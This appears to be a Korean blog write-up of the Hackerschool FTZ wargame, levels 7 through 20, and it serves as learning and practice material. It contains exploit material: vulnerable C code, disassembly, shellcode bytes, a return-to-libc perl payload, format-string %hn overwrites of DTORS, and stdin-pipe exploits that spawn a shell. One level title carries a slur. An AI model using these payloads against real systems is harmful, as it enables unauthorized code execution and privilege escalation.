FTZ : ; cat, FSB
ftz 서버에 붙어서 하는거랑, 직접 vmware를 이용해 구축해서 하는거랑 차이가 있다. 직접 구축하라고 배포되고 있는 iso파일은 OS가 red hat 9라서 그런 듯.
ftz 서버에 붙으면 버그도 없고, ASLR도 꺼져있고, setuid 걸려있어도 gdb 사용이 가능해서 상당히 난이도가 내려감.
기본 쉘에서는 0xc0인가?를 넘어가면 둘로 쪼개지며 이상하게 입력되는 버그가 있어 csh를 사용해야 한다.
처음에 귀찮아서 shell script로 짰는데 안돼서 system 함수로 같은 기능하게 하는 프로그램을 짰더니 된다.
xinetd가 쉘 명령어를 인식 못하기 때문인 것 같다.
왜 생성되는 임시파일을 cp로 얻는게 안되냐면, 아마 주어진 race condition 취약점이 있는 프로그램이 파일 쓰기부터 삭제까지 계속 파일 오픈상태로 있어 액세스 불가능해서 인 것 같다. 이런경우 링크를 이용하면 된다.
local에 구축하면 펄스가 안나온다. /bin/wrong.txt가 실행되야 하는데 그 파일이 없어서 안나왔음. 오류인 것 같다.
--_--_- --____- ---_-__ --__-_-
ftz 서버에 붙어서 하니까 /bin/level7실행시 이렇게 나온다. 딱봐도 펄스같다.
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
0x08048500 <main+0>: push %ebp
0x08048501 <main+1>: mov %esp,%ebp
0x08048503 <main+3>: sub $0x28,%esp
0x08048506 <main+6>: sub $0xc,%esp
0x08048509 <main+9>: push $0x80485e8
0x0804850e <main+14>: call 0x80483dc <printf>
0x08048513 <main+19>: add $0x10,%esp
0x08048516 <main+22>: sub $0x4,%esp
0x08048519 <main+25>: pushl 0x8049734
0x0804851f <main+31>: push $0x28
0x08048521 <main+33>: lea 0xffffffd8(%ebp),%eax
0x08048524 <main+36>: push %eax
0x08048525 <main+37>: call 0x80483ac <fgets>
0x0804852a <main+42>: add $0x10,%esp
0x0804852d <main+45>: sub $0x4,%esp
0x08048530 <main+48>: push $0x2
0x08048532 <main+50>: push $0x80485fe
0x08048537 <main+55>: lea 0xffffffe8(%ebp),%eax
0x0804853a <main+58>: push %eax
0x0804853b <main+59>: call 0x80483bc <strncmp>
0x08048540 <main+64>: add $0x10,%esp
0x08048543 <main+67>: mov %eax,%eax
char 10이면 10byte이지만 16byte align되어 16byte씩 잡힌다.
어셈블리 보면 0x28 + 0xc byte가 stack에 잡히는데 0xc는 printf 인자때문에 잡힌거고
0x28이 실질적으로 확장된 stack이다. 0x28 = 40이므로 40byte가 잡힌 것인데 왜 32byte가 아니라 40byte가 잡힌거냐면
strncmp의 인자로 40이 넘어가서 40byte를 확보한 것으로 보인다.
strcpy가 있어서 그냥 BOF도 가능하고, printf(str)로 써서 FSB도 가능하다.
RTL
일단 BOF로 풀어보려고 테스트 파일에 이렇게 추가해 ret 위치를 확인하려고 했는데,
printf("<ret : %p>\n", str+0x10c);
완전히 활성화 된 것은 아니고 random stack offset만 적용되어 있어서, shared library address와 environ 위치는 그대로다.
그래서 buffer에 shellcode를 넣기 보다는 eggshell이나 RTL을 이용하는 편이 나을 것 같아 RTL로 풀기로 했다.
* 근데 이상한게 stack frame위치가 변경되면 환경변수 위치도 변경되어야 하는데 그대로다. 환경변수 위치는 그대로고 main frame부터 변경되는 듯.
0x4203f2c0 <system> - shared library mapping address는 계속 그대로고,
환경변수도 그대로다.
아무튼 RTL을 시도하다 뭔가 이상해서 확인해보니 파라미터로 넘긴 system 주소 내의 c0이 argv에 c3 80으로 바뀌어서 들어간다. c0을 비롯해서 2f보다 크면 다 저렇게 들어가는 것 같음.
쉘 문제인가 싶어 bash2를 사용하려고 봤더니 bash2도 bash로 심볼릭링크 걸어놔서 안되고, csh를 써봤더니 된다.
csh로 풀어야한다.
* 참고로 csh에서는 ulimit가 아니라 unlimit다.
/bin/my-pass는 환경변수를 사용해서 넘겼는데, system함수에 파라미터를 넘길 때 \x90을 사용하면 안된다. 이건 그냥 system(param)에서 param에 \x90넣고 /bin/my-pass 넣어봐도 안된다. \x90을 넣으면 디렉토리로 인식을 못한다.
아무튼 attackme랑 tttttttt랑 디렉토리가 달라서 환경변수의 위치가 약간 다르기 때문에 NOP 비슷한 거라도 넣어야 한다. 그래서 \x90대신 /를 많이 출력하도록 했다. ( ///////bin/my-pass )
./attackme `perl -e 'print "A"x268, "\xc0\xf2\x03\x42", "A"x4, "\xf0\xfa\xff\xbf"'`
level12 - it is like this
FSB
FSB로도 풀어보기로 했다. ftz 웹에 붙으면 ASLR이 비활성화 되어있어 더 쉽게 해결할 수 있다.
일단 retaddr를 구해서 그걸 파라미터로 넘겨야 하기 때문에
shellcode의 맨 앞에 이를 붙여 retaddr+shellcode를 파라미터로 입력할 것이다.
그리고 형식지정자를 이용해 buffer에 들어간 retaddr 위치까지 pop하고 %n하면 된다.
(물론 argv까지 내려도 된다만 buffer가 더 가까우니까.)
%n이 동작하게 되는 그 위치에 값을 삽입하게 되는게 아니라, 그 위치의 값에 해당하는 주소에 값을 삽입하게 된다는 점에 유의한다.
정리하면 형식지정자를 적당히 사용해 buffer에 입력한 ret주소부분에서 %n연산이 동작하도록 하고, 선행출력개수를 %n으로 삽입하게 되는 값이 쉘코드 주소가 되도록 맞추면 된다.
ret주소 +
NOP
31 c0 50
68 70 61 73 73
68 2f 6d 79 2d
68 2f 62 69 6e
89 e3 50 53 89
e1 89 c2 b0 0b
cd 80
ASLR이 들어가 있어서 ret위치가 계속 변경되니까 파라미터로 넘길 retaddr을 정하기가 어려워진다. 그 밖에도 stack은 변수가 많다. 파라미터 길이라던지.
(쉘코드 주소도 계속 변경되긴 하는데 어차피 파라미터로 적어 넘기는 retaddr에 0x108인가 빼면 쉘코드 시작지점이니까. retaddr에 따라 자동으로 결정됨.)
확실히 한방에 성공하려면 쉘코드 내에서 현재 위치를 기준으로 ret위치 계산해서 push같은거 해야된다는 소리인데
근데!!!! 여기서 모순이 발생한다. 쉘코드 내에서 현재위치 기준으로 ret위치를 계산한다는건, 이미 내가 입력한 쉘코드가 실행중이라는 의미이므로 말이 안된다.
따라서 그냥 답이 없다는 결론이 나오는데... ASLR 범위가 크면 정말 답이 없었겠지만, 몇번 실행해보니 랜덤하게 변경되는 메모리 주소가 총 256가지( 0x00?? ~ 0xff?? )다. 따라서 1/256 확률로 주소를 맞출 수 있다는 얘기가 되니까 이 정도면 해볼만하긴 한데... 쉘스크립트 짜기도 귀찮고 해서 다른 방법이 있나 찾아봤다.
프로그램이 종료되기 직전에 DTOR라는 소멸자를 호출한다고 한다.
만약 DTOR의 위치가 main frame과 달리 고정이라면
FSB니까 현재 frame말고 DTOR의 ret 위치를 알아내서 그 위치에 쉘코드의 주소를 삽입하면 좀 더 수월하게 해결할 수 있다.
nm attackme 해보니
08049610 d __DTOR_END__ 이렇게 나온다.
사용한 쉘코드는 이렇다.
표준입력으로 넘기면 됨.
level13 - have no clue
변수 하나가 값이 변경되었는지 검사하는데, 위치 계산해서 이전에 있던 값 그대로 넣어주면 됨.
level14 - what that nigga want?
level14 - what that nigga want?|
level14 부터는 mainsource의 문제를 그대로 가져왔다고 한다. mainsource가 뭔지는 모르겠지만.
아무튼 그냥 풀면 된다. check==0xdeadbeef인지 검사하니까 이거 넣어주면 된다.
근데, stdin으로 입력받는데 echo로 넘기면 안된다. 왜 안되는건가 보니 echo로 넘긴 input은 파이프를 타고 잘 넘어가는데, 쉘이 실행되자마자 EOF(Ctrl+D)가 어디서 뜬금없이 나왔는지 모르겠지만(stdin의 버퍼를 조사해 봤는데, input에 붙은건 아닌듯 하다.) 아무튼 쉘에 전달되어 쉘이 바로 종료된다. 그래서 안되는 것 처럼 보였던 것이다.
()로 묶고 ()의 마지막에 ; cat을 붙여주니까 된다.
; cat을 붙이면 쉘이 바로 종료되지 않는다.
(perl -e 'print "b"x40, "\xef\xbe\xad\xde"' ; cat ) | ./attackme
그냥 cat 명령어를 인자 없이 사용해 보면 계속 입력 대기하고 있다가 이를 출력하는 동작을 한다.
그래서 perl 스크립트의 출력이 attackme로 들어가 쉘이 실행되고 나서도 파이프로 cat과 연결되어 있으면 쉘이 종료되지 않는다.
* perl 앞에 echo를 붙이려면 ``로 묶어줘야 한다.
level15 - guess what
그냥 풀면 된다. 환경변수로 추가해서
level16 - about to cause mass
함수 포인터를 사용하는데, 이 함수 포인터에 다른 함수가 들어가도록 하면 된다.
컴파일을 어떻게 했는지 몰라도, 이름 길이 똑같이 맞춰서 gdb로 조회하면 안된다.
파일 크기도 다른걸로 보아 아마 코드가 변경되었거나 한 것 같다. 아니면 setuid때문이거나.
아무튼 그냥 nm으로 조회하면 된다.
level17 - king poetic
환경변수에 쉘코드 삽입해서 함수 포인터에 쉘코드 주소를 삽입하면 된다.
level18 - why did you do it
```c
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout);
while(1)
{
printf("count=%d\n", count);
if(check == 0xdeadbeef)
shellout();
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
}
}
}
}
}
```
STDIN의 fd를 fd_set 변수 fds에 추가한 다음 select를 사용해 fds에 있는 fd( STDIN )에 데이터가 있으면 가져오는 방식으로 입력을 처리했다.
0x08일 경우 count--, 개행일 경우 무시, 나머지 경우에 string[]에 입력 문자를 쓴다.
check == 0xdeadbeef만 만들면 된다.
근데 check가 buffer( char string[100] )보다 더 높은 위치(낮은 주소)에 있다. buffer의 사이즈를 넘어서서 써 봐야 check는 반대편에 있기 때문에 소용이 없다.
0x08을 입력하면 count--를 수행하며 string[count]니까, 0x08을 적당히 넣어 count를 check위치까지 뺀 다음 string[-n]에 0xdeadbeef를 쓰면 된다.
0x08은 BS로, Ctr+H나 Shift+백스페이스로 입력 가능하지만, 파이프를 이용하는 것이 편하다.
파이프를 이용해서 넘기려고 했는데, count 100 넘었다고 계속 출력이 되길래 sleep 넣고 확인해 보니 파이프로 연결된 stdin의 버퍼에 마지막 문자가 제거되지 않아 계속 이를 읽어오는 것 같았다.
* 어차피 소스코드가 있으니까 gdb를 쓰는 것 보다 소스코드 수정하는게 편할 때가 많다.
근데 deadbeef를 제자리에 넣으면 shellout 실행되면서 더 이상 read 안하니까 별 상관 없다.
[level18@ftz ~/tmp]$ ( perl -e 'print "\x08"x4, "\xef\xbe\xad\xde"' ; cat ) | ./tttttttt
Enter your command: count=0 x=0x8
count=-1 x=0x8
count=-2 x=0x8
count=-3 x=0x8
count=-4 x=0xef
count=-3 x=0xbe
count=-2 x=0xad
count=-1 x=0xde
count=0 nice
id
uid=3098(level18) gid=3098(level18) groups=3098(level18)
level19 - swimming in pink
그냥 하면 됨.
level20 - we are just regular guys
level12에서 했던 FSB와 동일하게 풀면 된다. symbol이 없어 nm으로 dtor 위치 파악이 안되는데, readelf나 objdump를 사용하면 된다.
2016/10/23 - [System/etc] - FSB ( Format String Attack, Bug )
[level20@ftz ~]$ perl -e 'print "\x98\x95\x04\x08", "bbbb", "\x9a\x95\x04\x08", "/%08x"x2, "/%65409x", "%hn", "%49247x", "%hn"' | ./attackme
clear Password is "i will come in a minute".
연구소에 들어가고 싶으면 admin@hackerschool.org로 가입 신청서를 보내란다.
'Security > System Exploit CHAL' 카테고리의 다른 글
LOB succubus ~ nightmare → xavius : strcpy / stdin과 fgets (0) | 2017.01.28 |
---|---|
LOB giant ~ zombie_assassin → succubus : ROP (0) | 2017.01.18 |
LOB darkknight ~ bugbear → giant : ldd와 nm으로 함수 mapping 주소 찾기 (0) | 2017.01.16 |
LOB golem → darkknight : strncpy size overflow (0) | 2017.01.12 |
LOB gate ~ skeleton → golem (0) | 2016.11.15 |